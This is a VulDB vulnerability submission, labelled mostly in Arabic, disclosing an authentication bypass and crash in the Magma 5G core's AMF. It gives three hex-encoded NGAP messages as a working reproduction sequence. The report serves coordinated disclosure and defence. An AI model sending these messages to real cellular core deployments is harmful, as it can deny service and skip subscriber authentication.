| عنوان | Linux Foundation Projects Magma 5G 1.9.0 Improper Authentication |
|---|
| الوصف | AMF accepts Registration Complete message after InitialUEMessage and the state is transitioned to REGISTERED_CONNECTED. This attempt to transition crashes the app as well.
To Reproduce
Start Magma Core with 5G support enabled and default configuration
Send the following NGAP messages sequentially
NGSetupRequest:
00 15 00 38 00 00 06 00 1b 00 08 00 00 f1 10 00 00 06 6c 00 52 40 05 01 00 52 41 4e 00 66 00 0d 00 00 00 00 07 00 00 f1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00 00 cc 40 01 00
InitialUEMessage:
00 0f 40 45 00 00 05 00 55 00 02 00 01 00 26 00 1b 1a 7e 00 41 79 00 0d 01 00 f1 10 00 00 00 00 00 00 00 00 10 2e 02 f0 80 10 01 00 00 79 00 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07 00 5a 40 01 18 00 70 40 01 00
UplinkNASTransport (Registration Complete):
00 2e 40 31 00 00 04 00 0a 00 02 00 16 00 55 00 02 00 01 00 26 00 0b 0a 7e 02 00 00 00 00 00 7e 00 43 00 79 40 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07
Impact
Incorrect State transition: Without authentication and security mode establishment, the gmm state is transitioned to REGISTERED.
Denial of Service: MME crashes and can cause denial of service
Authentication bypass: Due to the authentication bypassed, unexpected behavior may occur, no security context is established.
This issue was discovered several months ago. After chatting with the developer we decided to publicly disclose it and they will attempt to fix the issue. |
|---|
| المصدر | ⚠️ https://github.com/magma/magma/issues/16020 |
|---|
| المستخدم | shovon0203 (UID 96191) |
|---|
| ارسال | 15/07/2026 06:41 AM (2 أشهر منذ) |
|---|
| الاعتدال | 29/08/2026 08:44 PM (2 months later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 397063 [Linux Foundation Magma 1.9.0 Registration Complete Message tasks/amf/amf_fsm.cpp توثيق ضعيف] |
|---|
| النقاط | 20 |
|---|